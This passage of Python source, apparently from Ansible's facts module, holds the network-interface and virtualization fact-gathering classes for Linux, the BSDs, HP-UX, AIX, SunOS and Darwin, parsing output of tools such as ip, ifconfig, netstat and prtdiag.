                    path = os.path.join(path, 'bonding', 'all_slaves_active')
                    if os.path.exists(path):
                        interfaces[device]['all_slaves_active'] = get_file_content(path) == '1'
            if os.path.exists(os.path.join(path,'device')):
                interfaces[device]['pciid'] = os.path.basename(os.readlink(os.path.join(path,'device')))
            if os.path.exists(os.path.join(path, 'speed')):
                speed = get_file_content(os.path.join(path, 'speed'))
                if speed is not None:
                    interfaces[device]['speed'] = int(speed)

            # Check whether an interface is in promiscuous mode
            if os.path.exists(os.path.join(path,'flags')):
                promisc_mode = False
                # The second byte indicates whether the interface is in promiscuous mode.
                # 1 = promisc
                # 0 = no promisc
                data = int(get_file_content(os.path.join(path, 'flags')),16)
                promisc_mode = (data & 0x0100 > 0)
                interfaces[device]['promisc'] = promisc_mode

            def parse_ip_output(output, secondary=False):
                for line in output.split('\n'):
                    if not line:
                        continue
                    words = line.split()
                    broadcast = ''
                    if words[0] == 'inet':
                        if '/' in words[1]:
                            address, netmask_length = words[1].split('/')
                            if len(words) > 3:
                                broadcast = words[3]
                        else:
                            # pointopoint interfaces do not have a prefix
                            address = words[1]
                            netmask_length = "32"
                        address_bin = struct.unpack('!L', socket.inet_aton(address))[0]
                        netmask_bin = (1<<32) - (1<<32>>int(netmask_length))
                        netmask = socket.inet_ntoa(struct.pack('!L', netmask_bin))
                        network = socket.inet_ntoa(struct.pack('!L', address_bin & netmask_bin))
                        iface = words[-1]
                        if iface != device:
                            interfaces[iface] = {}
                        if not secondary and "ipv4" not in interfaces[iface]:
                            interfaces[iface]['ipv4'] = {'address': address,
                                                         'broadcast': broadcast,
                                                         'netmask': netmask,
                                                         'network': network}
                        else:
                            if "ipv4_secondaries" not in interfaces[iface]:
                                interfaces[iface]["ipv4_secondaries"] = []
                            interfaces[iface]["ipv4_secondaries"].append({
                                'address': address,
                                'broadcast': broadcast,
                                'netmask': netmask,
                                'network': network,
                            })

                        # add this secondary IP to the main device
                        if secondary:
                            if "ipv4_secondaries" not in interfaces[device]:
                                interfaces[device]["ipv4_secondaries"] = []
                            interfaces[device]["ipv4_secondaries"].append({
                                'address': address,
                                'broadcast': broadcast,
                                'netmask': netmask,
                                'network': network,
                            })

                        # If this is the default address, update default_ipv4
                        if 'address' in default_ipv4 and default_ipv4['address'] == address:
                            default_ipv4['broadcast'] = broadcast
                            default_ipv4['netmask'] = netmask
                            default_ipv4['network'] = network
                            default_ipv4['macaddress'] = macaddress
                            default_ipv4['mtu'] = interfaces[device]['mtu']
                            default_ipv4['type'] = interfaces[device].get("type", "unknown")
                            default_ipv4['alias'] = words[-1]
                        if not address.startswith('127.'):
                            ips['all_ipv4_addresses'].append(address)
                    elif words[0] == 'inet6':
                        if 'peer' == words[2]:
                            address = words[1]
                            _, prefix = words[3].split('/')
                            scope = words[5]
                        else:
                            address, prefix = words[1].split('/')
                            scope = words[3]
                        if 'ipv6' not in interfaces[device]:
                            interfaces[device]['ipv6'] = []
                        interfaces[device]['ipv6'].append({
                            'address' : address,
                            'prefix'  : prefix,
                            'scope'   : scope
                        })
                        # If this is the default address, update default_ipv6
                        if 'address' in default_ipv6 and default_ipv6['address'] == address:
                            default_ipv6['prefix']     = prefix
                            default_ipv6['scope']      = scope
                            default_ipv6['macaddress'] = macaddress
                            default_ipv6['mtu']        = interfaces[device]['mtu']
                            default_ipv6['type']       = interfaces[device].get("type", "unknown")
                        if not address == '::1':
                            ips['all_ipv6_addresses'].append(address)

            ip_path = self.module.get_bin_path("ip")

            args = [ip_path, 'addr', 'show', 'primary', device]
            rc, stdout, stderr = self.module.run_command(args)
            primary_data = stdout.decode('utf-8', 'replace')

            args = [ip_path, 'addr', 'show', 'secondary', device]
            rc, stdout, stderr = self.module.run_command(args)
            secondary_data = stdout.decode('utf-8', 'decode')

            parse_ip_output(primary_data)
            parse_ip_output(secondary_data, secondary=True)

            interfaces[device]['features'] = self.get_ethtool_data(device)

        # replace : by _ in interface name since they are hard to use in template
        new_interfaces = {}
        for i in interfaces:
            if ':' in i:
                new_interfaces[i.replace(':','_')] = interfaces[i]
            else:
                new_interfaces[i] = interfaces[i]
        return new_interfaces, ips

    def get_ethtool_data(self, device):

        features = {}
        ethtool_path = self.module.get_bin_path("ethtool")
        if ethtool_path:
            args = [ethtool_path, '-k', device]
            rc, stdout, stderr = self.module.run_command(args)
            stdout = stdout.decode('utf-8', 'replace')
            if rc == 0:
                for line in stdout.strip().split('\n'):
                    if not line or line.endswith(":"):
                        continue
                    key,value = line.split(": ")
                    if not value:
                        continue
                    features[key.strip().replace('-','_')] = value.strip()
        return features


class GenericBsdIfconfigNetwork(Network):
    """
    This is a generic BSD subclass of Network using the ifconfig command.
    It defines
    - interfaces (a list of interface names)
    - interface_<name> dictionary of ipv4, ipv6, and mac address information.
    - all_ipv4_addresses and all_ipv6_addresses: lists of all configured addresses.
    """
    platform = 'Generic_BSD_Ifconfig'

    def populate(self):

        ifconfig_path = self.module.get_bin_path('ifconfig')

        if ifconfig_path is None:
            return self.facts
        route_path = self.module.get_bin_path('route')

        if route_path is None:
            return self.facts

        default_ipv4, default_ipv6 = self.get_default_interfaces(route_path)
        interfaces, ips = self.get_interfaces_info(ifconfig_path)
        self.merge_default_interface(default_ipv4, interfaces, 'ipv4')
        self.merge_default_interface(default_ipv6, interfaces, 'ipv6')
        self.facts['interfaces'] = interfaces.keys()

        for iface in interfaces:
            self.facts[iface] = interfaces[iface]

        self.facts['default_ipv4'] = default_ipv4
        self.facts['default_ipv6'] = default_ipv6
        self.facts['all_ipv4_addresses'] = ips['all_ipv4_addresses']
        self.facts['all_ipv6_addresses'] = ips['all_ipv6_addresses']

        return self.facts

    def get_default_interfaces(self, route_path):

        # Use the commands:
        #     route -n get 8.8.8.8                            -> Google public DNS
        #     route -n get -inet6 2404:6800:400a:800::1012    -> ipv6.google.com
        # to find out the default outgoing interface, address, and gateway

        command = dict(
            v4 = [route_path, '-n', 'get', '8.8.8.8'],
            v6 = [route_path, '-n', 'get', '-inet6', '2404:6800:400a:800::1012']
        )

        interface = dict(v4 = {}, v6 = {})

        for v in 'v4', 'v6':

            if v == 'v6' and not socket.has_ipv6:
                continue
            rc, out, err = self.module.run_command(command[v])
            if not out:
                # v6 routing may result in
                #   RTNETLINK answers: Invalid argument
                continue
            lines = out.split('\n')
            for line in lines:
                words = line.split()
                # Collect output from route command
                if len(words) > 1:
                    if words[0] == 'interface:':
                        interface[v]['interface'] = words[1]
                    if words[0] == 'gateway:':
                        interface[v]['gateway'] = words[1]

        return interface['v4'], interface['v6']

    def get_interfaces_info(self, ifconfig_path, ifconfig_options='-a'):
        interfaces = {}
        current_if = {}
        ips = dict(
            all_ipv4_addresses = [],
            all_ipv6_addresses = [],
        )
        # FreeBSD, DragonflyBSD, NetBSD, OpenBSD and OS X all implicitly add '-a'
        # when running the command 'ifconfig'.
        # Solaris must explicitly run the command 'ifconfig -a'.
        rc, out, err = self.module.run_command([ifconfig_path, ifconfig_options])

        for line in out.split('\n'):

            if line:
                words = line.split()

                if words[0] == 'pass':
                    continue
                elif re.match('^\S', line) and len(words) > 3:
                    current_if = self.parse_interface_line(words)
                    interfaces[ current_if['device'] ] = current_if
                elif words[0].startswith('options='):
                    self.parse_options_line(words, current_if, ips)
                elif words[0] == 'nd6':
                    self.parse_nd6_line(words, current_if, ips)
                elif words[0] == 'ether':
                    self.parse_ether_line(words, current_if, ips)
                elif words[0] == 'media:':
                    self.parse_media_line(words, current_if, ips)
                elif words[0] == 'status:':
                    self.parse_status_line(words, current_if, ips)
                elif words[0] == 'lladdr':
                    self.parse_lladdr_line(words, current_if, ips)
                elif words[0] == 'inet':
                    self.parse_inet_line(words, current_if, ips)
                elif words[0] == 'inet6':
                    self.parse_inet6_line(words, current_if, ips)
                else:
                    self.parse_unknown_line(words, current_if, ips)

        return interfaces, ips

    def parse_interface_line(self, words):
        device = words[0][0:-1]
        current_if = {'device': device, 'ipv4': [], 'ipv6': [], 'type': 'unknown'}
        current_if['flags']  = self.get_options(words[1])
        current_if['macaddress'] = 'unknown'    # will be overwritten later

        if len(words) >= 5 :  # Newer FreeBSD versions
            current_if['metric'] = words[3]
            current_if['mtu'] = words[5]
        else:
            current_if['mtu'] = words[3]

        return current_if

    def parse_options_line(self, words, current_if, ips):
        # Mac has options like this...
        current_if['options'] = self.get_options(words[0])

    def parse_nd6_line(self, words, current_if, ips):
        # FreeBSD has options like this...
        current_if['options'] = self.get_options(words[1])

    def parse_ether_line(self, words, current_if, ips):
        current_if['macaddress'] = words[1]

    def parse_media_line(self, words, current_if, ips):
        # not sure if this is useful - we also drop information
        current_if['media'] = words[1]
        if len(words) > 2:
            current_if['media_select'] = words[2]
        if len(words) > 3:
            current_if['media_type'] = words[3][1:]
        if len(words) > 4:
            current_if['media_options'] = self.get_options(words[4])

    def parse_status_line(self, words, current_if, ips):
        current_if['status'] = words[1]

    def parse_lladdr_line(self, words, current_if, ips):
        current_if['lladdr'] = words[1]

    def parse_inet_line(self, words, current_if, ips):
        address = {'address': words[1]}
        # deal with hex netmask
        if re.match('([0-9a-f]){8}', words[3]) and len(words[3]) == 8:
            words[3] = '0x' + words[3]
        if words[3].startswith('0x'):
            address['netmask'] = socket.inet_ntoa(struct.pack('!L', int(words[3], base=16)))
        else:
            # otherwise assume this is a dotted quad
            address['netmask'] = words[3]
        # calculate the network
        address_bin = struct.unpack('!L', socket.inet_aton(address['address']))[0]
        netmask_bin = struct.unpack('!L', socket.inet_aton(address['netmask']))[0]
        address['network'] = socket.inet_ntoa(struct.pack('!L', address_bin & netmask_bin))
        # broadcast may be given or we need to calculate
        if len(words) > 5:
            address['broadcast'] = words[5]
        else:
            address['broadcast'] = socket.inet_ntoa(struct.pack('!L', address_bin | (~netmask_bin & 0xffffffff)))
        # add to our list of addresses
        if not words[1].startswith('127.'):
            ips['all_ipv4_addresses'].append(address['address'])
        current_if['ipv4'].append(address)

    def parse_inet6_line(self, words, current_if, ips):
        address = {'address': words[1]}
        if (len(words) >= 4) and (words[2] == 'prefixlen'):
            address['prefix'] = words[3]
        if (len(words) >= 6) and (words[4] == 'scopeid'):
            address['scope'] = words[5]
        localhost6 = ['::1', '::1/128', 'fe80::1%lo0']
        if address['address'] not in localhost6:
            ips['all_ipv6_addresses'].append(address['address'])
        current_if['ipv6'].append(address)

    def parse_unknown_line(self, words, current_if, ips):
        # we are going to ignore unknown lines here - this may be
        # a bad idea - but you can override it in your subclass
        pass

    def get_options(self, option_string):
        start = option_string.find('<') + 1
        end = option_string.rfind('>')
        if (start > 0) and (end > 0) and (end > start + 1):
            option_csv = option_string[start:end]
            return option_csv.split(',')
        else:
            return []

    def merge_default_interface(self, defaults, interfaces, ip_type):
        if not 'interface' in defaults.keys():
            return
        if not defaults['interface'] in interfaces:
            return
        ifinfo = interfaces[defaults['interface']]
        # copy all the interface values across except addresses
        for item in ifinfo.keys():
            if item != 'ipv4' and item != 'ipv6':
                defaults[item] = ifinfo[item]
        if len(ifinfo[ip_type]) > 0:
            for item in ifinfo[ip_type][0].keys():
                defaults[item] = ifinfo[ip_type][0][item]


class HPUXNetwork(Network):
    """
    HP-UX-specifig subclass of Network. Defines networking facts:
    - default_interface
    - interfaces (a list of interface names)
    - interface_<name> dictionary of ipv4 address information.
    """
    platform = 'HP-UX'

    def populate(self):
        netstat_path = self.module.get_bin_path('netstat')
        if netstat_path is None:
            return self.facts
        self.get_default_interfaces()
        interfaces = self.get_interfaces_info()
        self.facts['interfaces'] = interfaces.keys()
        for iface in interfaces:
                self.facts[iface] = interfaces[iface]
        return self.facts

    def get_default_interfaces(self):
        rc, out, err = self.module.run_command("/usr/bin/netstat -nr")
        lines = out.split('\n')
        for line in lines:
                words = line.split()
                if len(words) > 1:
                    if words[0] == 'default':
                        self.facts['default_interface'] = words[4]
                        self.facts['default_gateway'] = words[1]

    def get_interfaces_info(self):
        interfaces = {}
        rc, out, err = self.module.run_command("/usr/bin/netstat -ni")
        lines = out.split('\n')
        for line in lines:
            words = line.split()
            for i in range(len(words) - 1):
                if words[i][:3] == 'lan':
                    device = words[i]
                    interfaces[device] = { 'device': device }
                    address = words[i+3]
                    interfaces[device]['ipv4'] = { 'address': address }
                    network = words[i+2]
                    interfaces[device]['ipv4'] = { 'network': network,
                                                   'interface': device,
                                                   'address': address }
        return interfaces

class DarwinNetwork(GenericBsdIfconfigNetwork):
    """
    This is the Mac OS X/Darwin Network Class.
    It uses the GenericBsdIfconfigNetwork unchanged
    """
    platform = 'Darwin'

    # media line is different to the default FreeBSD one
    def parse_media_line(self, words, current_if, ips):
        # not sure if this is useful - we also drop information
        current_if['media'] = 'Unknown' # Mac does not give us this
        current_if['media_select'] = words[1]
        if len(words) > 2:
            # MacOSX sets the media to '<unknown type>' for bridge interface
            # and parsing splits this into two words; this if/else helps
            if words[1] == '<unknown' and words[2] == 'type>':
                current_if['media_select'] = 'Unknown'
                current_if['media_type'] = 'unknown type'
            else:
                current_if['media_type'] = words[2][1:-1]
        if len(words) > 3:
            current_if['media_options'] = self.get_options(words[3])


class FreeBSDNetwork(GenericBsdIfconfigNetwork):
    """
    This is the FreeBSD Network Class.
    It uses the GenericBsdIfconfigNetwork unchanged.
    """
    platform = 'FreeBSD'


class DragonFlyNetwork(GenericBsdIfconfigNetwork):
    """
    This is the DragonFly Network Class.
    It uses the GenericBsdIfconfigNetwork unchanged.
    """
    platform = 'DragonFly'


class AIXNetwork(GenericBsdIfconfigNetwork):
    """
    This is the AIX Network Class.
    It uses the GenericBsdIfconfigNetwork unchanged.
    """
    platform = 'AIX'

    def get_default_interfaces(self, route_path):
        netstat_path = self.module.get_bin_path('netstat')

        rc, out, err = self.module.run_command([netstat_path, '-nr'])

        interface = dict(v4 = {}, v6 = {})

        lines = out.split('\n')
        for line in lines:
            words = line.split()
            if len(words) > 1 and words[0] == 'default':
                if '.' in words[1]:
                    interface['v4']['gateway'] = words[1]
                    interface['v4']['interface'] = words[5]
                elif ':' in words[1]:
                    interface['v6']['gateway'] = words[1]
                    interface['v6']['interface'] = words[5]

        return interface['v4'], interface['v6']

    # AIX 'ifconfig -a' does not have three words in the interface line
    def get_interfaces_info(self, ifconfig_path, ifconfig_options='-a'):
        interfaces = {}
        current_if = {}
        ips = dict(
            all_ipv4_addresses = [],
            all_ipv6_addresses = [],
        )
        rc, out, err = self.module.run_command([ifconfig_path, ifconfig_options])

        for line in out.split('\n'):

            if line:
                words = line.split()

                # only this condition differs from GenericBsdIfconfigNetwork
                if re.match('^\w*\d*:', line):
                    current_if = self.parse_interface_line(words)
                    interfaces[ current_if['device'] ] = current_if
                elif words[0].startswith('options='):
                    self.parse_options_line(words, current_if, ips)
                elif words[0] == 'nd6':
                    self.parse_nd6_line(words, current_if, ips)
                elif words[0] == 'ether':
                    self.parse_ether_line(words, current_if, ips)
                elif words[0] == 'media:':
                    self.parse_media_line(words, current_if, ips)
                elif words[0] == 'status:':
                    self.parse_status_line(words, current_if, ips)
                elif words[0] == 'lladdr':
                    self.parse_lladdr_line(words, current_if, ips)
                elif words[0] == 'inet':
                    self.parse_inet_line(words, current_if, ips)
                elif words[0] == 'inet6':
                    self.parse_inet6_line(words, current_if, ips)
                else:
                    self.parse_unknown_line(words, current_if, ips)
            uname_path = self.module.get_bin_path('uname')
            if uname_path:
                rc, out, err = self.module.run_command([uname_path, '-W'])
                # don't bother with wpars it does not work
                # zero means not in wpar
                if not rc and out.split()[0] == '0':
                    if current_if['macaddress'] == 'unknown' and re.match('^en', current_if['device']):
                        entstat_path = self.module.get_bin_path('entstat')
                        if entstat_path:
                            rc, out, err = self.module.run_command([entstat_path, current_if['device'] ])
                            if rc != 0:
                                break
                            for line in out.split('\n'):
                                if not line:
                                    pass
                                buff = re.match('^Hardware Address: (.*)', line)
                                if buff:
                                    current_if['macaddress'] = buff.group(1)

                                buff = re.match('^Device Type:', line)
                                if buff and re.match('.*Ethernet', line):
                                    current_if['type'] = 'ether'
                    # device must have mtu attribute in ODM
                    if 'mtu' not in current_if:
                        lsattr_path = self.module.get_bin_path('lsattr')
                        if lsattr_path:
                            rc, out, err = self.module.run_command([lsattr_path,'-El', current_if['device'] ])
                            if rc != 0:
                                break
                            for line in out.split('\n'):
                                if line:
                                    words = line.split()
                                    if words[0] == 'mtu':
                                        current_if['mtu'] = words[1]
        return interfaces, ips

    # AIX 'ifconfig -a' does not inform about MTU, so remove current_if['mtu'] here
    def parse_interface_line(self, words):
        device = words[0][0:-1]
        current_if = {'device': device, 'ipv4': [], 'ipv6': [], 'type': 'unknown'}
        current_if['flags'] = self.get_options(words[1])
        current_if['macaddress'] = 'unknown'    # will be overwritten later
        return current_if

class OpenBSDNetwork(GenericBsdIfconfigNetwork):
    """
    This is the OpenBSD Network Class.
    It uses the GenericBsdIfconfigNetwork.
    """
    platform = 'OpenBSD'

    # OpenBSD 'ifconfig -a' does not have information about aliases
    def get_interfaces_info(self, ifconfig_path, ifconfig_options='-aA'):
       return super(OpenBSDNetwork, self).get_interfaces_info(ifconfig_path, ifconfig_options)

    # Return macaddress instead of lladdr
    def parse_lladdr_line(self, words, current_if, ips):
        current_if['macaddress'] = words[1]

class SunOSNetwork(GenericBsdIfconfigNetwork):
    """
    This is the SunOS Network Class.
    It uses the GenericBsdIfconfigNetwork.

    Solaris can have different FLAGS and MTU for IPv4 and IPv6 on the same interface
    so these facts have been moved inside the 'ipv4' and 'ipv6' lists.
    """
    platform = 'SunOS'

    # Solaris 'ifconfig -a' will print interfaces twice, once for IPv4 and again for IPv6.
    # MTU and FLAGS also may differ between IPv4 and IPv6 on the same interface.
    # 'parse_interface_line()' checks for previously seen interfaces before defining
    # 'current_if' so that IPv6 facts don't clobber IPv4 facts (or vice versa).
    def get_interfaces_info(self, ifconfig_path):
        interfaces = {}
        current_if = {}
        ips = dict(
            all_ipv4_addresses = [],
            all_ipv6_addresses = [],
        )
        rc, out, err = self.module.run_command([ifconfig_path, '-a'])

        for line in out.split('\n'):

            if line:
                words = line.split()

                if re.match('^\S', line) and len(words) > 3:
                    current_if = self.parse_interface_line(words, current_if, interfaces)
                    interfaces[ current_if['device'] ] = current_if
                elif words[0].startswith('options='):
                    self.parse_options_line(words, current_if, ips)
                elif words[0] == 'nd6':
                    self.parse_nd6_line(words, current_if, ips)
                elif words[0] == 'ether':
                    self.parse_ether_line(words, current_if, ips)
                elif words[0] == 'media:':
                    self.parse_media_line(words, current_if, ips)
                elif words[0] == 'status:':
                    self.parse_status_line(words, current_if, ips)
                elif words[0] == 'lladdr':
                    self.parse_lladdr_line(words, current_if, ips)
                elif words[0] == 'inet':
                    self.parse_inet_line(words, current_if, ips)
                elif words[0] == 'inet6':
                    self.parse_inet6_line(words, current_if, ips)
                else:
                    self.parse_unknown_line(words, current_if, ips)

        # 'parse_interface_line' and 'parse_inet*_line' leave two dicts in the
        # ipv4/ipv6 lists which is ugly and hard to read.
        # This quick hack merges the dictionaries. Purely cosmetic.
        for iface in interfaces:
            for v in 'ipv4', 'ipv6':
                combined_facts = {}
                for facts in interfaces[iface][v]:
                    combined_facts.update(facts)
                if len(combined_facts.keys()) > 0:
                    interfaces[iface][v] = [combined_facts]

        return interfaces, ips

    def parse_interface_line(self, words, current_if, interfaces):
        device = words[0][0:-1]
        if device not in interfaces.keys():
            current_if = {'device': device, 'ipv4': [], 'ipv6': [], 'type': 'unknown'}
        else:
            current_if = interfaces[device]
        flags = self.get_options(words[1])
        v = 'ipv4'
        if 'IPv6' in flags:
            v = 'ipv6'
        current_if[v].append({'flags': flags, 'mtu': words[3]})
        current_if['macaddress'] = 'unknown'    # will be overwritten later
        return current_if

    # Solaris displays single digit octets in MAC addresses e.g. 0:1:2:d:e:f
    # Add leading zero to each octet where needed.
    def parse_ether_line(self, words, current_if, ips):
        macaddress = ''
        for octet in words[1].split(':'):
            octet = ('0' + octet)[-2:None]
            macaddress += (octet + ':')
        current_if['macaddress'] = macaddress[0:-1]

class Virtual(Facts):
    """
    This is a generic Virtual subclass of Facts.  This should be further
    subclassed to implement per platform.  If you subclass this,
    you should define:
    - virtualization_type
    - virtualization_role
    - container (e.g. solaris zones, freebsd jails, linux containers)

    All subclasses MUST define platform.
    """

    def __new__(cls, *arguments, **keyword):
        # When Virtual is created, it chooses a subclass to create instead.
        # This check prevents the subclass from then trying to find a subclass
        # and create that.
        if cls is not Virtual:
            return super(Virtual, cls).__new__(cls)

        subclass = cls
        for sc in get_all_subclasses(Virtual):
            if sc.platform == platform.system():
                subclass = sc

        if PY3:
            return super(cls, subclass).__new__(subclass)
        else:
            return super(cls, subclass).__new__(subclass, *arguments, **keyword)

    def populate(self):
        return self.facts

class LinuxVirtual(Virtual):
    """
    This is a Linux-specific subclass of Virtual.  It defines
    - virtualization_type
    - virtualization_role
    """
    platform = 'Linux'

    def populate(self):
        self.get_virtual_facts()
        return self.facts

    # For more information, check: http://people.redhat.com/~rjones/virt-what/
    def get_virtual_facts(self):
        # lxc/docker
        if os.path.exists('/proc/1/cgroup'):
            for line in get_file_lines('/proc/1/cgroup'):
                if re.search(r'/docker(/|-[0-9a-f]+\.scope)', line):
                    self.facts['virtualization_type'] = 'docker'
                    self.facts['virtualization_role'] = 'guest'
                    return
                if re.search('/lxc/', line) or re.search('/machine.slice/machine-lxc', line):
                    self.facts['virtualization_type'] = 'lxc'
                    self.facts['virtualization_role'] = 'guest'
                    return

        # lxc does not always appear in cgroups anymore but sets 'container=lxc' environment var, requires root privs
        if os.path.exists('/proc/1/environ'):
            for line in get_file_lines('/proc/1/environ'):
                if re.search('container=lxc', line):
                    self.facts['virtualization_type'] = 'lxc'
                    self.facts['virtualization_role'] = 'guest'
                    return

        if os.path.exists('/proc/vz'):
            self.facts['virtualization_type'] = 'openvz'
            if os.path.exists('/proc/bc'):
                self.facts['virtualization_role'] = 'host'
            else:
                self.facts['virtualization_role'] = 'guest'
            return

        systemd_container = get_file_content('/run/systemd/container')
        if systemd_container:
            self.facts['virtualization_type'] = systemd_container
            self.facts['virtualization_role'] = 'guest'
            return

        if os.path.exists("/proc/xen"):
            self.facts['virtualization_type'] = 'xen'
            self.facts['virtualization_role'] = 'guest'
            try:
                for line in get_file_lines('/proc/xen/capabilities'):
                    if "control_d" in line:
                        self.facts['virtualization_role'] = 'host'
            except IOError:
                pass
            return

        product_name = get_file_content('/sys/devices/virtual/dmi/id/product_name')

        if product_name in ['KVM', 'Bochs']:
            self.facts['virtualization_type'] = 'kvm'
            self.facts['virtualization_role'] = 'guest'
            return

        if product_name == 'RHEV Hypervisor':
            self.facts['virtualization_type'] = 'RHEV'
            self.facts['virtualization_role'] = 'guest'
            return

        if product_name == 'VMware Virtual Platform':
            self.facts['virtualization_type'] = 'VMware'
            self.facts['virtualization_role'] = 'guest'
            return

        bios_vendor = get_file_content('/sys/devices/virtual/dmi/id/bios_vendor')

        if bios_vendor == 'Xen':
            self.facts['virtualization_type'] = 'xen'
            self.facts['virtualization_role'] = 'guest'
            return

        if bios_vendor == 'innotek GmbH':
            self.facts['virtualization_type'] = 'virtualbox'
            self.facts['virtualization_role'] = 'guest'
            return

        sys_vendor = get_file_content('/sys/devices/virtual/dmi/id/sys_vendor')

        # FIXME: This does also match hyperv
        if sys_vendor == 'Microsoft Corporation':
            self.facts['virtualization_type'] = 'VirtualPC'
            self.facts['virtualization_role'] = 'guest'
            return

        if sys_vendor == 'Parallels Software International Inc.':
            self.facts['virtualization_type'] = 'parallels'
            self.facts['virtualization_role'] = 'guest'
            return

        if sys_vendor == 'QEMU':
            self.facts['virtualization_type'] = 'kvm'
            self.facts['virtualization_role'] = 'guest'
            return

        if sys_vendor == 'oVirt':
            self.facts['virtualization_type'] = 'kvm'
            self.facts['virtualization_role'] = 'guest'
            return

        if os.path.exists('/proc/self/status'):
            for line in get_file_lines('/proc/self/status'):
                if re.match('^VxID: \d+', line):
                    self.facts['virtualization_type'] = 'linux_vserver'
                    if re.match('^VxID: 0', line):
                        self.facts['virtualization_role'] = 'host'
                    else:
                        self.facts['virtualization_role'] = 'guest'
                    return

        if os.path.exists('/proc/cpuinfo'):
            for line in get_file_lines('/proc/cpuinfo'):
                if re.match('^model name.*QEMU Virtual CPU', line):
                    self.facts['virtualization_type'] = 'kvm'
                elif re.match('^vendor_id.*User Mode Linux', line):
                    self.facts['virtualization_type'] = 'uml'
                elif re.match('^model name.*UML', line):
                    self.facts['virtualization_type'] = 'uml'
                elif re.match('^vendor_id.*PowerVM Lx86', line):
                    self.facts['virtualization_type'] = 'powervm_lx86'
                elif re.match('^vendor_id.*IBM/S390', line):
                    self.facts['virtualization_type'] = 'PR/SM'
                    lscpu = self.module.get_bin_path('lscpu')
                    if lscpu:
                        rc, out, err = self.module.run_command(["lscpu"])
                        if rc == 0:
                            for line in out.split("\n"):
                                data = line.split(":", 1)
                                key = data[0].strip()
                                if key == 'Hypervisor':
                                    self.facts['virtualization_type'] = data[1].strip()
                    else:
                        self.facts['virtualization_type'] = 'ibm_systemz'
                else:
                    continue
                if self.facts['virtualization_type'] == 'PR/SM':
                    self.facts['virtualization_role'] = 'LPAR'
                else:
                    self.facts['virtualization_role'] = 'guest'
                return

        # Beware that we can have both kvm and virtualbox running on a single system
        if os.path.exists("/proc/modules") and os.access('/proc/modules', os.R_OK):
            modules = []
            for line in get_file_lines("/proc/modules"):
                data = line.split(" ", 1)
                modules.append(data[0])

            if 'kvm' in modules:
                self.facts['virtualization_type'] = 'kvm'
                self.facts['virtualization_role'] = 'host'
                return

            if 'vboxdrv' in modules:
                self.facts['virtualization_type'] = 'virtualbox'
                self.facts['virtualization_role'] = 'host'
                return

        # If none of the above matches, return 'NA' for virtualization_type
        # and virtualization_role. This allows for proper grouping.
        self.facts['virtualization_type'] = 'NA'
        self.facts['virtualization_role'] = 'NA'
        return

class FreeBSDVirtual(Virtual):
    """
    This is a FreeBSD-specific subclass of Virtual.  It defines
    - virtualization_type
    - virtualization_role
    """
    platform = 'FreeBSD'

    def populate(self):
        self.get_virtual_facts()
        return self.facts

    def get_virtual_facts(self):
        self.facts['virtualization_type'] = ''
        self.facts['virtualization_role'] = ''

class DragonFlyVirtual(FreeBSDVirtual):
    platform = 'DragonFly'

class OpenBSDVirtual(Virtual):
    """
    This is a OpenBSD-specific subclass of Virtual.  It defines
    - virtualization_type
    - virtualization_role
    """
    platform = 'OpenBSD'

    def populate(self):
        self.get_virtual_facts()
        return self.facts

    def get_virtual_facts(self):
        self.facts['virtualization_type'] = ''
        self.facts['virtualization_role'] = ''

class HPUXVirtual(Virtual):
    """
    This is a HP-UX specific subclass of Virtual. It defines
    - virtualization_type
    - virtualization_role
    """
    platform = 'HP-UX'

    def populate(self):
        self.get_virtual_facts()
        return self.facts

    def get_virtual_facts(self):
        if os.path.exists('/usr/sbin/vecheck'):
            rc, out, err = self.module.run_command("/usr/sbin/vecheck")
            if rc == 0:
                self.facts['virtualization_type'] = 'guest'
                self.facts['virtualization_role'] = 'HP vPar'
        if os.path.exists('/opt/hpvm/bin/hpvminfo'):
            rc, out, err = self.module.run_command("/opt/hpvm/bin/hpvminfo")
            if rc == 0 and re.match('.*Running.*HPVM vPar.*', out):
                self.facts['virtualization_type'] = 'guest'
                self.facts['virtualization_role'] = 'HPVM vPar'
            elif rc == 0 and re.match('.*Running.*HPVM guest.*', out):
                self.facts['virtualization_type'] = 'guest'
                self.facts['virtualization_role'] = 'HPVM IVM'
            elif rc == 0 and re.match('.*Running.*HPVM host.*', out):
                self.facts['virtualization_type'] = 'host'
                self.facts['virtualization_role'] = 'HPVM'
        if os.path.exists('/usr/sbin/parstatus'):
            rc, out, err = self.module.run_command("/usr/sbin/parstatus")
            if rc == 0:
                self.facts['virtualization_type'] = 'guest'
                self.facts['virtualization_role'] = 'HP nPar'


class SunOSVirtual(Virtual):
    """
    This is a SunOS-specific subclass of Virtual.  It defines
    - virtualization_type
    - virtualization_role
    - container
    """
    platform = 'SunOS'

    def populate(self):
        self.get_virtual_facts()
        return self.facts

    def get_virtual_facts(self):
        rc, out, err = self.module.run_command("/usr/sbin/prtdiag")
        for line in out.split('\n'):
            if 'VMware' in line:
                self.facts['virtualization_type'] = 'vmware'
                self.facts['virtualization_role'] = 'guest'
            if 'Parallels' in line:
                self.facts['virtualization_type'] = 'parallels'
                self.facts['virtualization_role'] = 'guest'
            if 'VirtualBox' in line:
                self.facts['virtualization_type'] = 'virtualbox'
                self.facts['virtualization_role'] = 'guest'
            if 'HVM domU' in line:
                self.facts['virtualization_type'] = 'xen'
                self.facts['virtualization_role'] = 'guest'
        # Check if it's a zone
        if os.path.exists("/usr/bin/zonename"):
            rc, out, err = self.module.run_command("/usr/bin/zonename")
            if out.rstrip() != "global":
                self.facts['container'] = 'zone'
        # Check if it's a branded zone (i.e. Solaris 8/9 zone)
        if os.path.isdir('/.SUNWnative'):
            self.facts['container'] = 'zone'
        # If it's a zone check if we can detect if our global zone is itself virtualized.
        # Relies on the "guest tools" (e.g. vmware tools) to be installed
        if 'container' in self.facts and self.facts['container'] == 'zone':
            rc, out, err = self.module.run_command("/usr/sbin/modinfo")
            for line in out.split('\n'):
                if 'VMware' in line:
                    self.facts['virtualization_type'] = 'vmware'
                    self.facts['virtualization_role'] = 'guest'
                if 'VirtualBox' in line:
                    self.facts['virtualization_type'] = 'virtualbox'
                    self.facts['virtualization_role'] = 'guest'
        # Detect domaining on Sparc hardware
        if os.path.exists("/usr/sbin/virtinfo"):
            # The output of virtinfo is different whether we are on a machine with logical
            # domains ('LDoms') on a T-series or domains ('Domains') on a M-series. Try LDoms first.
            rc, out, err = self.module.run_command("/usr/sbin/virtinfo -p")
            # The output contains multiple lines with different keys like this:
            #   DOMAINROLE|impl=LDoms|control=false|io=false|service=false|root=false
            # The output may also be not formatted and the returncode is set to 0 regardless of the error condition:
